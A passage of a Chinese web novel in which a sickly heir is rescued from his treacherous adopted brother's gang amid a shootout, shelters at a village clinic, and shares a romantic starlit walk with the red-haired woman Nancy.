这句话油腻得令人作呕,在场的人没有一个相信,恐怕连他自己都觉得这借口蹩脚得可笑,说出来只是为了给他们的突然出现,勉强找一个能摆在台面上的理由罢了。 温雪生没有回应,只是冷眼望着他。 眼前这恶心的猴子男,是温四认的干儿子,也是干儿子里最得宠的那个,温重名。 他是个狠角色,从小跟在温四身边,打架斗殴,冲杀在前,可以说是用身上一道道伤疤换来了温四的信任。温重明成人那天,温四为了奖励他,把自己起家的根本——那些日进斗金的夜总会产业,比如碧海阁,都交给了他打理。尽管温四近几年忙着洗白,转向正行,但夜总会仍然算是他的半壁江山。能把这么重要的产业交给温重明,他对这个干儿子的信任度可见一斑。 至于温重明本人,对外是活阎王,凶狠残暴,手段酷烈,但在温家内部,尤其是在温四面前,那就是条低眉顺目、摇尾乞怜的哈巴狗,当然在温雪生这个名义上的“弟弟”面前,也向来是卑躬屈膝,客气到甚至带着谄媚。 这是温雪生对温重明的全部印象,可眼前的温重明已大改模样,他腰杆挺得笔直,下巴抬得很高,眼神里充满了毫不掩饰的嚣张,和一种似乎已掌控一切的得意。 其实温雪生在废厂房醒来,瞧见那看守他的小流氓时,就隐约猜到是温四手底下的人在搞鬼,他脑子里闪过几个可能的人选,却唯独,没有想过会是这个一直表现得忠心耿耿、谨小慎微的温重明。 “哈?你来救他?” 忽然,边上的南希打断了他的思绪。 只见她挺着胸脯,朝不远处的温重明吆喝起来:“我看你是贼喊捉贼!黄鼠狼给鸡拜年!温猴子,你少在这儿乱放屁!猫哭耗子假慈悲这套早过时了!我告诉你,今天你别想再动我小生生一根汗毛,除非你从老娘尸体上踏过去,否则我绝对不会让你这癞蛤蟆想吃天鹅肉的王八蛋得逞!你等着,我迟早把你那点龌龊心思全都给你抖落出来!” 这一番辱骂几乎没带喘气,温雪生知道南希泼辣,但不知道她这么泼辣,竟一时忘了紧张,目瞪口呆地愣在了原地。 而南希则一边骂,一边悄悄把手背到身后,对着张笑远的方向比划——找机会,带温雪生上车,撞出去!不用管我,我是红发女鬼,这些人还没有能捉到我的本事! 她的手势又快又急。张笑远眼皮跳了跳,好一会儿才理解了她的意思,然后身子微微弓起,计算着逃跑的距离和可能。 可没想到,温重明对她这机关枪似的挑衅完全无动于衷,甚至连嘴角那丝令人讨厌的笑意都没变。他只是懒洋洋地一挥手,跟赶苍蝇似的,然后,他身边那二十几个手拿棍棒的小流氓立刻动了起来,在一阵噼里啪啦的脚步声中,形成了一个紧密的包围圈。 棍棒反射着月光,冷飕飕的,小流氓们把南希几人死死困在了包围圈中心! 温重明瞧了瞧,这才又拿腔拿调地开口,声音拔高了几分:“雪生弟弟啊!你看看你,都被这些坏人折磨成什么样子了!哥哥我这心跟刀绞似的,咱爸要是知道了,不得更心疼死!既然他们不肯放人,那就别怪哥哥我,动用些非常点手段,‘请’你回家接受治疗了!” 他特意加重了“请”字,眼神里满是猫捉老鼠般的戏谑。 话音落下,周围的小流氓们握紧了手中的棍棒,缩小着包围圈,空气瞬间绷紧得像拉到极致的弓弦,战斗一触即发。 南希几人背靠背,能活动的空间越来越小,就在这千钧一发之际—— 嗡嗡—— 引擎的咆哮跟炸雷似的由远及近,好几道雪亮的车灯,一齐劈开了老榆树下的黑暗。 紧接着,是杂乱却迅猛的脚步声。 另一波人,同样穿着黑色衣服,跟打地里长出来的一样,从杂草堆里,从车灯的边缘冲了出来! 人数不少,动作快得带风! 跑在最前头的那人,速度堪比逃命,黑色西装外套被他跑得敞了怀,衣角被风扯得向后狂舞,像张开了两只黑色的翅膀。 他一边狂奔,一边眼珠子四处扫射,没一会儿便锁定了那扶着榆树、脸色苍白的温雪生,然后发出一声撕心裂肺的狂吼: “少爷!!!我cao他妈的祖宗啊!!!” 这一声呼喊,效果拔群。 所有人的目光,顿时齐刷刷地看了过去。 温重明脸上那志在必得的笑容瞬间冻结,随即像风化的墙皮一样剥落。 他周围那群小流氓们,也被这突如其来的变故弄懵了,阵型变得散乱,窃窃私语声像苍蝇般响起,刚刚那股一往无前的气势,顷刻间泄了大半。 而包围圈中心,南希和温雪生的眼里,几乎同时蹦出了一簇光。 他们的视线里,那插着黑翅膀的男人越来越近,他身材不算高大,甚至有些瘦,但他周身散发出的那股煞气,硬邦邦的,愣是在这铜墙铁壁的包围中撞出了一道口子。尤其显眼的,是那人脸上的刀疤——从额角斜劈下来,几乎贯穿了他的整张脸。 疤痕狰狞凸起,在晃动的车灯下,像条活蜈蚣在脸上爬,使他整个人看起来,如同刚从地狱爬出来的鬼魅! 他径直冲进包围圈,飞快地扫了温雪生一眼,确认他没出啥大事,脸上紧绷的肌肉地松弛了一瞬,随即,他猛然转身,像是一堵坚硬的墙,稳稳地挡在了温雪生身面。 而那张吓人的刀疤脸上,目光尖锐,像两把锋利的飞刀,越过小流氓,直直射向了,脸色铁青的温重明。 老榆树下的风向,瞬间逆转! 第52章 混战 刀疤脸李大发,虽然早已洗手上岸,成了温沙城堡的管事,专职伺候病弱少爷温雪生,但江湖上还流传着他的名号。传闻里,他是温四早年开疆拓土时最锋利的那把刀,当年温四“单枪匹马”闯济东,是李大发一根铁棍横扫了十几条街的对手,这才让温四爷的名号在black道上立了起来。 此时此刻,这传说中的人物就立在眼前,空气都沉了几分。刚才还蠢蠢欲动的小流氓们,你看看我,我看看你,脚底像生了根,没有一个敢再往前蹭半步。而跟着李大发冲过来的那批黑衣汉子,人数虽不占优势,但气场强硬,这会儿竟在外围又套了一个圈。 也就是说,以那棵老榆树为中心,现场诡异地形成了三个圈:最里面的是南希温雪生几人,中间是温重明那二十几个手拿棍棒的流氓,最外面,是李大发带来的人。 而这些圈竟出奇得稳,谁都没有继续破圈。 “你个畜生!”李大发那破锣嗓子率先打破这诡异的氛围,刀疤随之扭动,“温重明!老子当年砍人的时候你他妈还穿开裆裤呢!老大把你从臭水沟里捞出来,给你饭吃,教你本事,让你管着碧海阁,你他妈就这么报答?绑了他儿子?你他妈良心让狗吃了?!你想干什么?造反吗?!要背叛老大?!” 温重明掏了掏耳朵,做了个弹耳屎的动作,脸上挂着假笑:“呦,发哥,不对,李管事,你说什么呢?我怎么一句都听不懂?我就是来接我弟弟回卢氏继续治病的。你看看他,这脸色,这身子,连站都站不稳了,他被坏人掳到这荒郊野岭,多危险啊。”他上下打量着李大发,讥讽道,“倒是您,李管事,老了就是老了,病了就是病了,听说您之前挨的那刀,下雨天还疼得直抽抽吧?您不好好在温沙城堡里养老,跑这儿来吹什么风?别到时候脸上再多几道疤,吓得你媳妇不敢跟你上床!” 李大发啐了一口唾沫:“老子是伤了,是隐退了!但收拾你这忘恩负义的狗杂种,还绰绰有余!” 他侧过头,视线瞥向温雪生,语速飞快:“少爷,这几天我都没困觉,光找你了,虽然来晚了,但我也算把你找到了,所以,这次你可得听我的!出去后,你要赶紧去医院,千万别耽误!”说完他又立刻转向南希和她身后的张笑远几人,“张小姐,这儿有我!你们麻利地带着少爷走,去卢氏!少爷这身体经不起再折腾了!” 然而,几乎在李大发话音落下的同时,温重明从后腰裤兜里掏出了一把黑色的东西。 那东西被他紧紧攥在手里,金属表面趁着月光发出幽冷的光。 那竟是一把手枪! 温重脸上的假笑登时收敛,他迅速抬起手,黑洞洞的枪口直接对准了李大发! 嘭! 下一秒,一声巨响撕裂了夜空,像是平地惊雷。 子弹嗖地穿过人群的缝隙,擦着李大发的右脸飞过,狠狠砸在了他身后那棵老榆树的树干上! 木屑纷飞! 刹那间,李大发脸上多了一道新鲜的血痕,血珠慢慢渗出,沿着他脸上的刀疤轨迹蜿蜒滑落。 所有人都呆住了,包括那些小流氓。 还没等任何人从这声枪响中回过神。 嘭! 第二声巨响接踵而至! 李大发只觉得左边大腿一紧,像是被烧红的铁条狠狠烙了一下,钻心的疼痛骤然炸开。 他闷哼一声,左腿支撑不住,单膝重重跪倒在地,鲜血迅速浸透了他的西裤。 看到眼前的画面,温重明脸上浮现出一种阴森癫狂的笑容,他举着枪,枪口还冒着缕缕白烟:“李管事,你不是要来收拾我吗?来呀?怎么还给哥哥我跪下了?”他说着,手腕一动,似乎又要调整枪口瞄准。 李大发赶紧回头朝南希他们喊:“cao他妈的,你们还愣着干啥,等着被打成蜂窝啊?!快带少爷走啊!!!” 没有人预料到温重明手里会有枪,毕竟这玩意儿在市面上根本见不到,哪怕是在地下世界,也是极稀罕、极凶险的物件。 black社会打架,顶天了用砍刀铁棍,那是血肉之争,一旦枪这种高级货介入,刀棍就成了小孩的玩具。 温重明手里握着的这黑家伙,瞬间就让他登上了食物链的顶端,打破了所有规则和平衡。 刚才还被李大发震慑住的小流氓们,让这两枪彻底打醒了,也打疯了。 眼前那传说中刀枪不入的厉害角色,不也跪下了?不也流血了?看来他也没那么神! 不知谁先嚎了一嗓子,中间圈子的二十几个小流氓像是被注入了兴奋剂,挥舞着棍棒,嗷嗷叫着一拥而上! 而外围,李大发带来的那些汉子见状,也红了眼,毫不犹豫地迎了上去! 场面瞬间爆炸,彻底陷入混乱。 棍棒砸在□□上的闷响声,流氓的怒吼声,惨叫声,脚步声,骂娘声……噼里啪啦地交织在了一起。 月色下,人影晃动,如同群魔乱舞。 李大发额头上青筋暴起,冷汗直流,他强忍着腿上和脸上的剧痛,猛地从地上蹿起,一个侧身躲开砸来的棍子,左手迅速抓住对方手腕往下一拗,同时右肘狠狠撞向对方的喉结,那小流氓哼都没哼就软了下去。 他随即夺过棍子,反手击向另一个流氓的太阳穴,然后转身甩棍横扫,又逼退两个想偷袭的人。他就像一头凶悍的豹子,朝着前方猛冲猛打,硬是用身体和一根短棍杀出了一个狭窄的缺口! “走!!!”他回头,再次朝身后几人大吼。 孙红孙紫两人眼神一凛,二话不说就冲进了那个随时可能合拢的缺口,死死顶住了两侧涌来的压力。 与此同时,温重明在外围举着枪左右乱晃,似乎在寻找目标,但混乱的人群阻挡了他的视线。 嘭!嘭! 他又开了两枪,子弹却偏离了方向,打中了外围两个正在缠斗的小流氓。 惨叫声格外刺耳。 温雪生被南希架着,看着眼前腥风血雨,迟迟不肯动身,他咬牙喊道:“李管事,一起走!” 李大发闻声回头,脸上的血和汗混在一起,眼神像烧红的刀子:“都他妈什么时候了!少爷你放心,他们的目标不是我,我死不了!温重明就算拿着枪,在老子眼里也就是个玩木棍的猴儿!” 话音未落,他根本不给温雪生再反驳的机会,反手一抄,像是拎小鸡一样,把虚弱不堪的少爷直接提起来,粗暴地撂到了张笑远的背上。 “拜托了!” 张笑远感觉后背一沉,知道这不是犹豫的时候,咬紧牙关,背着温雪生,就朝孙红孙紫用身体撑住的缺口,猛冲过去! 南希在混乱中深深看了李大发一眼,那眼神复杂,有担忧,有决绝……最后只凝聚成一句简单却又力量的话:“我一定会带他冲出去!” 说完,她不再回头,身形灵活地一闪,避开挥来的棍棒,顺手捡起地上一根掉落的钢管,也加入了缺口处的混战。 * 夜色如墨,浓重地涂抹在乡间的土路上。 一个幽暗的车头灯在颠簸中一闪一闪,“突突突”的三蹦子引擎声撕裂着晚上的宁静。 欢丫头蜷在车斗里,手指紧紧抠着围栏,她焦急地望着前方无边的黑暗,催促道:“李伯,油焖踩到底啊,快一点,再快一点行不行!” 李伯趴在车把上,嗓子冒烟:“不能再快了!这路颠死个人,再快轮子都要跑飞喽!” 话音刚落,那“突突突”的声音像是被人掐住了脖子,开始断断续续,越来越缓,三蹦子不甘地抽搐了两下,彻底熄了火。 李伯一拍车把,懊恼地叹气:“诶呀,完犊子了,没油了!” 欢丫头抿紧了嘴,二话没说,蹭得跳下车,落地时脚踝崴了一下也顾不上,直接扎进黑暗里往前跑。 “欢丫头!回来!”李伯忙扯着嗓子吆喝,“别去了,那地方还远着呢,你跑不到的!” 欢丫没回头,而是高高地向后摆了摆手:“我不嫌远!谢谢你李伯,你快回去吧,别连累你!” 她单薄的身影已经融入了夜色,只剩下奔跑的脚步声,越来越远。 李伯张了张嘴,最终什么也没说出来,只是重重地叹了口气。 欢丫头拼命地跑着。 土路崎岖,深一脚浅一脚,冰风刮在脸上,像小刀一样。 她从小跟着爷爷学中医,懂得调理,自认体力比同龄的姑娘家都要好上很多,可这条路实在太长了,好像没有尽头,吞噬了所有的光,也吞噬了她心里的希望。 汗水很快浸湿了她的后背,额前的头发黏在皮肤上,又湿又凉,她感觉自己快要跑不动了…… 就在她累得几乎要瘫软下去的时候,旁边的岔路上突然杀出一辆方块状的越野车。 大灯晃得她眼前一白,她下意识抬手遮挡,脚下踩空,差点一头栽进路旁的臭水沟里。 吱—— 刺耳的刹车声紧急而来,那辆越野在停在了她身前不到一米的地方。 尘土飞扬,弥漫在车灯的光柱里。 驾驶座的车窗被快速摇下,一个顶着满头红发的女人探出头,满脸关切:“喂!没事吧?没撞着你吧?” 欢丫头惊魂未定,心脏还在狂跳,她看着那个红发女人,愣愣地点了点头。 那红发女人得到答案,明显松了口气,脸上的关切立刻被一种赶时间的焦急取代,说了句“没事就好”,立刻就要摇上车窗准备离开。 就在车窗合上前的刹那,欢丫头的目光无意中扫过了车的后座。 后座车窗也是开着的,借着外面投射进去的光线,她隐约看到那儿靠着一个男人。 遮脸的刘海垂落,她看不清全貌,但那侧脸线条和异常惨白的肤色,她认得…… 欢丫头的瞳孔猛然缩紧,她又连忙摇了摇头:“不……” 那红发女人正好瞥见了她这前后矛盾的动作,脸上的耐心瞬间耗尽,又猛地把车窗摇下大半:“你啥意思?到底有没有事?!我们赶时间!” 第53章 欢丫头 欢丫头看出对方生气了,左手在裤腿边死死攥紧,攥得那布料皱成了一团,右手指向车子后座,声音又急又快:“我认识他,他是有钱人家的少爷,他叫温雪生!他病得很重,中毒很深,不能再这样下去了!你们快去我那,我有药可以救他!” 这句话几乎是一口气喊出来的。 后座上,温雪生被这声音惊动,睫毛颤动了几下,勉强撑开了沉重的眼皮。 他透过车窗,看到了站在臭水沟边上的欢丫头——那个土屋诊所里,给他扎针治病,眼神清亮得不像话的小姑娘。 南希从驾驶座上回过头,目光落在温雪生脸上。她没有说话,只是看着他。 温雪生朝她点了点头,这动作就耗费了他不少力气。 南希明白了他的意思,于是又扭过头,朝着车下喊:“那个,你先上车再说!” 欢丫头应了一声,几乎是扑过来,一把拉开车门塞上了车。 切诺基的后座还算宽敞,但原本就坐了孙红、孙紫和温雪生三人,空间已经不够,欢丫头瘦小的身体硬挤进来后,紧挨着温雪生滚烫的手臂,她立即像碰到烙铁一样缩了缩,努力把自己折叠得更小。 还没坐稳,车子就焦急地窜了出去,她被惯性甩得差点扑到前面的座椅背上,好不容易才伸手扶住,稳住了身子,然后探着脖子,对驾驶座上的人说:“那个,我的诊所在北边的李家村,我给你指……” “先等一下。” 欢丫头话没说完,副驾坐上的张笑远打断了她。 他转过身,大半张脸藏在阴影里,只有那双眼睛,亮得让人胆颤:“说说看,你为什么会大半夜出现在这里?”这地方前不着村后不着店,旁边就是臭水沟和荒草地,一个年轻姑娘突然冒出来,实在太奇怪。 欢丫头知道自己出现在这里确实蹊跷,也不怪对方语气不好,不信任自己,赶紧解释:“他……”她侧头指了指身边的人,“他今晚在我那看过病。” 她喘了口气,把温雪生如何出现在她的诊所,凯伯和大壮如何追来,以及他又如何破门逃走……全都讲了出来。 她一边讲一边抖,那场面,她现在想起来还有点后怕。 “还有,”她继续说,“他逃走前,给我留下了一个电话号码。我拨了那个号码,打到了一个叫温沙城堡的地方。” 张笑远挑眉:“那种情况下,你还能把电话号码记住?” 欢丫头抿抿嘴:“事情是这样,那个号码,我虽然只记了个大概,但是我试了很多次,最后终于拨对了!对方一听到他的名字,就很着急,向我问了地点位置,然后就挂断了电话。没想到,可能也就过了二十多分钟,那个接电话的人就出现在我面前了。” 张笑远的目光闪烁了一下,看向后座。 温雪生闭着眼,极轻微地点着头。 他心里有了数,看来,温沙城堡的李管事能精准定位,及时赶到,还多亏了这个小姑娘报信,当然,也幸亏温雪生临危不乱,在绝境中还能留下线索。这大概算是不幸中的万幸。 “后来呢?”他追问道。 “后来……他们跟我问清楚了情况,然后找到了李伯,又从李伯那打听出了凯伯和大壮可能藏人的地方。再后来,他们就领着一批人,开车去找他了。”说到这里,欢丫头声音低了些,语气中带着点自责,“可是我放心不下,毕竟人是从我这走的,所以就求李伯也带我去找他……没想到,李伯的车子开到一半就没油了……唉,这老古董……” 她小声嘟囔了一句,“我就只好自己顺着这条路往前跑,直到刚才碰到你们……” 听到这里,温雪生看向身旁因为着急而脸颊泛红的女孩,哑声挤出两个字:“谢谢。” 他的声音轻飘飘的,却像颗小石子,在女孩心里砸出了一圈涟漪。 欢丫头的脸“唰”地红了,忙不迭地摇头,双手乱摆:“不用谢,不用谢,我,我其实也没做什么……”她声低下头,“我就是……觉得,你讲的那个故事,太可怜了,我听着……心里堵得慌。我虽然不知道现在具体发生了什么,但是……但是也不想再让那个故事里的主角再受到伤害了,所以,我想尽可能地帮帮他……” 这句真情实意的话还没完全落地,切诺基突然猛地一顿,像是开车的人走神给了脚重的,随即,引擎发出更沉闷的低吼,整个车身极速加快,颠簸得更加肆无忌惮。 而驾驶人南希,面无表情地望着眼前的黑暗,幽幽地问道:“哦?他都给你讲什么了?” 欢丫头身体一滞,立刻意识到这是在问她。 她怯怯地抬眼看了看那开车女人的冷峻侧影,然后又飞快地瞟了一眼温雪生,小声回:“就……讲了些他过去的事,就是……” 她突然意识到什么,声音戛然而止,又怯怯地,带着询问的意思看向身边,“那个,可以说吗?” 温雪生的脸色依旧不好,但那已经不是单纯的病态,而是添了几分沉郁和……紧张。 他没有回应欢丫头的问题,甚至连眼神都没给她一个,重新闭上了眼睛。 欢丫头埋下头,双手揪起衣角,觉得自己肯定是说错了话,触到了不该碰的东西。 约莫过了七八分钟,切诺基在欢丫头小心翼翼的导航下,拐进一条狭窄的小道,然后悄无声息地滑入李家村,藏在一堆柴垛和几棵歪脖子树后。 然后,几人迅速下了车。 欢丫头在前面带路,脚步飞快地穿过四五条只有几声狗吠的村巷,推开一扇低矮的木门,回到了那间简陋的土屋诊所。 她一进屋就进入了状态,直奔药柜,从最高层的抽屉里,摸出个粗糙的陶瓷小瓶,倒出一粒褐色的药丸,然后走到被搀扶着坐在床边的温雪生面前,将药丸递到他嘴边:“啊——张嘴,这是我爷爷留下的神药,能缓解毒性。” 温雪生没有犹豫,听话地吞下药丸。 欢丫头立刻去桌上倒了半碗温水,小心地喂他喝水冲下,动作很轻柔,带着一种与她年纪不符的沉稳和专注。 做完这些后,她轻轻吐出口气,像是终于放下心来,然后扶着温雪生的手臂,想让他躺到铁床上休息。 整个过程,南希就杵在靠门的位置。她侧着身,手指无意识地拨弄一面挂在墙上的锦旗,似乎对屋内的一切漠不关心。 只是,她的视线,好像一直斜着,像被无形的线牵引,若有若无地落在了铁床那边。 这会儿,温雪生刚顺着欢丫头的力道要向后躺倒,靠上一床叠好的被子。 南希像是抓住了什么关键点,突然一皱眉,转过身,厉声喊道:“喂喂喂,咱们逃命呢!能不能有点紧迫感?哪有时间让你在这儿躺平享受!”她的目光锐利地刮过温雪生,又扫向张笑远,“李管事他们能挡多久?追兵说不定已经闻着味儿过来了!我们必须立刻、马上赶回市里!” 温雪生听到这话,眼皮不自在地抬起一条缝,瞥了她一眼,随即又偏过头,看向角落里散发着苦味的草药包:“不行……” 南希:“什么?你再说一遍?!” 温雪生:“……现在回去,等于自投罗网。” “没错。”旁边的张笑远开口附和,像是跟他提前对好了台词,“现在回去,的确不安全。” 南希不由眯起眼,脸色很是难看。 自从在车上,听那个半路杀出的“欢大夫”滔滔不绝地说了一堆后,她心里就憋着一股邪火,烧得她五脏六腑都疼,根本没办法冷静。现在,她又瞧见温雪生和张笑远一唱一和,那股火气直接窜上了天灵盖,怎么都压不住了。 “你们什么意思?不回去?难道要留在这鬼地方,等着人家上门来连锅端,顺便再给我们颁个‘最佳配合奖’吗?!” 温雪生收回望向草药包的目光,落在南希因怒气而格外生动的脸上。 昏暗的灯光在他脸上投下深深的阴影。 他沉吟了一会儿,说道:“我不是这个意思……而是,我认为如果现在回去,才是真正往枪口上撞。虽然欢大夫的突然出现,打乱了咱们原本的计划,但我觉得,她出现的时机,挑得挺妙,正好让我有时间可以把今天的事好好捋一捋。” 南希:“呵,那你捋到什么了?” 温雪生不做正面回答:“我想问问你,如果按原计划回济东,你准备把我送去哪儿?卢氏?还是其他公立医院?现在,温重明的势力估计已经蠢蠢欲动,济东任何角落,都可能有他的耳目,所以,无论去哪儿,都不会安全。 “反而这里——”温雪生的视线扫过这间简陋的小土屋,“最危险的地方,才是最安全的地方。他们打死也不会想到,我们非但没跑,反而回到了起点,而且还敢光明正大地在这儿住下。等温重明的人突破李管事的包围,马不停蹄的追回济东,再等济东那边藏着的牛鬼蛇神纷纷暴露身份,我们再回去,这才是最保险的做法。” 说完,他轻轻喘了口气,下了最后的结论: “所以,今晚,我们得留在这。至于明天,看情况再说。” 第54章 星空 南希没有说什么,因为温雪生的话,逻辑缜密,句句在理,她反驳不了。要是换作往常,这些弯弯绕绕的事,她本该是第一个嗅出味道的,可是刚才,她的脑子成了一团浆糊,连想都没往那里想。 意识到这点后,她更恼火了,好像不仅仅是输了嘴仗,连带着智商和面子都给弄丢了。 她愤懑地盯着,温雪生那张在灯光下显得过分平静的脸,重重地“哼”了一声,算是最后的反抗,然后转过身,带着一股决绝的气势,推开吱呀的木门,一头扎进了外头黏稠的黑暗里。 冷风瞬间裹了上来,初春夜晚的寒意,在这座北方的村子显得格外尖利,直往骨头缝里钻。 她打了个明显的寒战,下意识抱紧双臂,脚步却不肯停,几乎是踉跄着往前冲着。 去哪?不知道。 只是憋着一口气,不想回头,不想面对那个讨厌的大少爷,还有……屋里那温婉体贴的欢大夫…… 她走啊走,脚下的土路坑洼不平,黑暗吞噬了一切,只有远处零星几点灯光,像鬼火一样飘忽。 忽然,脚尖撞上了个硬东西,一阵钝痛传来。 她“嘶”地倒抽了口冷气,腿条件反射地往后一缩,紧接着,所有的委屈、恼火、不甘像是都找到了出口,一下子汇聚到了那条腿上。 于是,她狠狠地踢了出去,精准地命中了那个硬东西。 嘭! 登时,一块不小的石头带着泥土飞上了天,然后掉进了路边的草丛。 而她心里的郁气似乎也随着这一脚宣泄了出去,可没一会儿,一种空落落的感觉就漫了上来,比刚才的憋闷更让人难受。 她停下了脚步,茫然地环顾四周。 月光很淡,勉强勾勒出周围的轮廓。 她发现自己站在一个十字路口,四条土路伸向不同的黑暗,两旁是低矮的农村瓦房,样子都差不多。 她来的时候走的是哪条路? 左边?还是右边? 她转着圈,努力辨认,却只觉得每条路都似曾相识。 她承认自己迷了路,慢慢泄了气,眼睛空洞地望着前方的某一点,失了神。 可是,渐渐的,那双失去焦点的眼睛里,竟一点点重新汇聚起光亮,有了神采。 一个微小的人影映在她黑色的瞳孔里,且那人影正在慢慢变大,变清晰。 双唇轻轻动了动,她无声地,念出了浮上心头的名字:“小生生……” 是他…… 远处,温雪生也看见了她。 他的步子原本有些虚浮,可在这一刹那,却明显快了,几乎可以称得上是小跑,但跑得近了,那速度又慢了下来,晃晃悠悠的,慢到仿佛这短短的路程,他好像永远都走不完一样。 南希等不下去,一瘪嘴,快步迎上前,一把撑住了他的胳膊。 温雪生微喘的气息霎时拂过她的头发,很烫。 她微微一颤,脱口说:“你这病秧子,不躺在床上休息,出来受什么冻?” 这话听起来是责备,语气却是软的,连带她的手,也依旧稳稳地托着他。 温雪生侧过头,夜色模糊了他的表情。 “你想让我躺下歇着吗?” 他问,声音很低。 南希想起诊所里,欢大夫照顾他时温柔体贴的摸样,一股说不清的情绪涌了上来。 她朝着黑漆漆的天空,硬邦邦地说:“想啊,你最好啊,好好歇着,别劳烦人家欢大夫操心。” 温雪生看过去,恰好看到她倔强扬起的下巴和抿成一条缝儿的嘴,唇边竟掠过了一抹满足的笑:“可是一直躺着,也不利于身体恢复,”他慢悠悠地说,气息平稳了些,“还是得运动运动,多出来走走。” 南希依然梗着脖子不看他:“好啊,那你想怎么走?” “嗯……”温雪生似乎在认真思考,“就随便走走。” “没劲。”南希嗤了一声。 可话虽然这样说,她扶着他的手并没有松开,反而调整了一下姿势,让他靠得更省力些。 两人就这么挨着,漫无目的地在寂静的路上走了下去。 奇怪的是,刚才南希还觉得凄冷黑暗的村子,这会儿竟悄然变了样。月光似乎明亮了许多,洒在路上,泛起柔和的清辉。周围的空气也不再那么刺骨,旁边人身上传来的温度,像个小火炉,驱散了她的寒意。 她仰着头,眼睛望着天。 农村没有城市的光污染,夜空是纯粹的墨蓝,一条璀璨的星河横贯天际,无数星辰细碎地铺散开来,闪烁着冰冷又纯净的光芒。 她感觉自己已经很久、很久没有看到过这样辽阔而清晰的星空了,一时间有些发怔。 “真好看。” 这时,温雪生的声音在耳畔响起,很轻柔。 南希的目光流连在星海之间,没有回头看他,却已经知道他在说什么。 “嗯,”她应了一声,声音也不自觉地放轻了,“是挺好看。” “以前被关温沙城堡,看着那片天,”温雪生像是自言自语,又像是说给她听,“我从来不知道,外面还有这么好看的星空。” 这句话里藏着一丝不易察觉的落寞,南希的心微微动了下,一种莫名的冲动让她脱口而出:“这算什么,以后你跟着我,比这更好看的也能看到。” 温雪生低下了头:“嗯……” 南希:“就只是‘嗯’?” “嗯……” 两人之间安静了一瞬,只剩下风声和脚步声。 温雪生再开口时,声音弱了几分,却格外清晰:“你以后,真得会让我永远跟着你吗?” 南希稍一失神,然后侧过头。 温雪生比她高不少,这个角度,正好能看到他被月光勾勒出的、流畅的下颌线,还有他的右眼。 那只平日里总是带着阴郁气息的眼睛,这会儿像浸在了星河里,闪闪发亮。 实在是好看。 心脏像是被什么东西攥了一下,又慌又麻。 南希不敢再看他,仓促地移开视线,重新望向天空。 关于他的问题,她很想毫不犹豫地回答“当然会”,以后的日子,能跟他一直在一起,光是想想就让她心头泛软。 可是,理智像一根细小的冰针,恰到好处地刺了她一下,让她瞬间清醒了几分。 她不能这样回答。 以前,她对那些围着她转的男人,甜言蜜语信手拈来,海誓山盟说的比唱的还顺,从不走心,反正玩腻了,就潇洒地离开,心里不会有半点涟漪。 可是面对他,这个认死理、性格别扭、心思敏感又纯粹得吓人的大少爷,她不敢做,也不愿意做任何她无法保证的承诺。 她太了解自己了,她贪恋的是男人好看的皮相和新鲜的肉体,是那一刻的欢愉。 让她长久地跟他在一起?她对自己毫无信心。她仿佛已经看到,当自己那喜新厌旧的毛病发作,无情走开时,他会是怎样一种反应——他一定会找她拼命,或者,更糟糕的是,他会被伤得体无完肤。 况且,即便没有这层原因,她也不能对他承诺什么。她连自己究竟是谁都不知道,像无根的浮萍,在这世间漂泊了二十年,未来也注定要继续漂泊下去。 这样的她,又拿什么去跟他保证一个“永远”? 她迅速收敛了心神,脸上挂起平日里那副略带戏谑的笑,巧妙地岔开了话题:“跟着我?诶,小生生,我说你刚才不会一直在跟踪我吧?要不我怎么会在这地方‘巧遇’你呢?” 她特意加重了“巧遇”两个字,尾音上扬。 果然,温雪生脸上,那刚刚还带着些许期待的表情,瞬间被气恼取代。他习惯性地拧紧眉头,反驳道:“我看是你跟踪我……否则,你怎么会出现在之前那棵老榆树那儿?” 老榆树? 南希立马抓住话头,瞪向他,故意用夸张的语气回:“诶,你这个忘恩负义的!我要是不出现在那,你说不定早就去给阎王爷报道了,还能在这儿跟我顶嘴?” 温雪生撇撇嘴,赌气似地嘟囔:“与其活着受气,我还不如去阎王爷那报……” “诶诶诶,好了好了,少说些不吉利的!”南希赶紧踮起脚尖,伸手堵住他的嘴。 指尖堪堪触上他干燥滚烫的唇,然后,像被烫了一下,微微一缩。 夜风恰好在此时拂过,吹乱了温雪生长长的刘海,将他那只总是若隐若现的右眼完全显露出来。 他没有躲开她的手,只是微微蹙着眉,漂亮的右眼正直直地看着她。 两个人的视线在空中交汇,牢牢地锁在了一起。 南希注视着他近在咫尺的眼眸,那里面清晰地映出她有些慌乱的影子。脸“轰”地一下烧了起来,视线飘向别处,心跳如擂鼓般震颤。 她忙不迭地收回手,不自然地清了清喉咙,试图找回刚才的话题节奏:“啊,那个,我之所能找到你啊,是因为我足够聪明……” 她开始讲述他失踪之后发生的事,只是讲得颠三倒四,语速也很快,像是在用这个故事,掩盖掉刚才的暧昧和心跳。 温雪生听她讲着,眉头却越来越紧,几乎拧成了一个疙瘩。 南希正讲到兴头上,一斜眼,瞥见他这副模样,忍不住伸出手,用指尖在他眉心上用力捋了捋:“小生生,你现在二十岁,应该还没什么,但是,如果你一直这样皱眉,不用等到老了,我看最多再过五年,你就会有皱纹了!” 温雪生懵了一瞬,似乎没想到她会突然有这样的动作,然后,他生硬地别开脸,努力放松脸上的肌肉,试图让自己的表情看起来自然点。 但他强行舒展眉心的别扭样子,看起来更加滑稽,南希只瞧了一眼,就忍不住“噗嗤”笑了出来,刚开始还捂着嘴,后来干脆放开了,弯下腰,笑得肩膀直抖。 温雪生的脸一下子涨红了,那刚刚才被捋平一点的眉头,立刻又像纸团一样皱了起来,比之前更紧。 “别笑了!你的故事还没讲完!”他尝试把话题拉回之前,好借此打断这令他无地自容的笑。 可南希依旧笑得欢,一边笑一边回:“哈?故事?你还没听够呀?” 温雪生闷声闷气:“你还没说,从那个废厂房出来后,你是怎么找到这个村子的?” 第55章 女朋友 南希看温雪生抿着唇,嘴角耷拉着,下颌线绷得紧紧的,不像平时那样只是闹别扭,倒像是真动了气,赶紧把脸上残余的笑收拾干净,清了清嗓子,正儿八经地回答他刚才的问题:“我说我找到这个村子纯属巧合,你信吗?” 温雪生看着她,没说话,沉默像夜色一样弥漫开。 过了好一会儿,他才摇了摇头。 南希眉毛一挑,踮起脚尖,手自然地伸过去揉了揉他的头发,用一种夸张且欣慰的语气说:“看来我家小生生还不算太傻嘛。” 温雪生猛地往后撤了一步,躲开了她的手,脸上的怒气好像比刚才更厉害了。 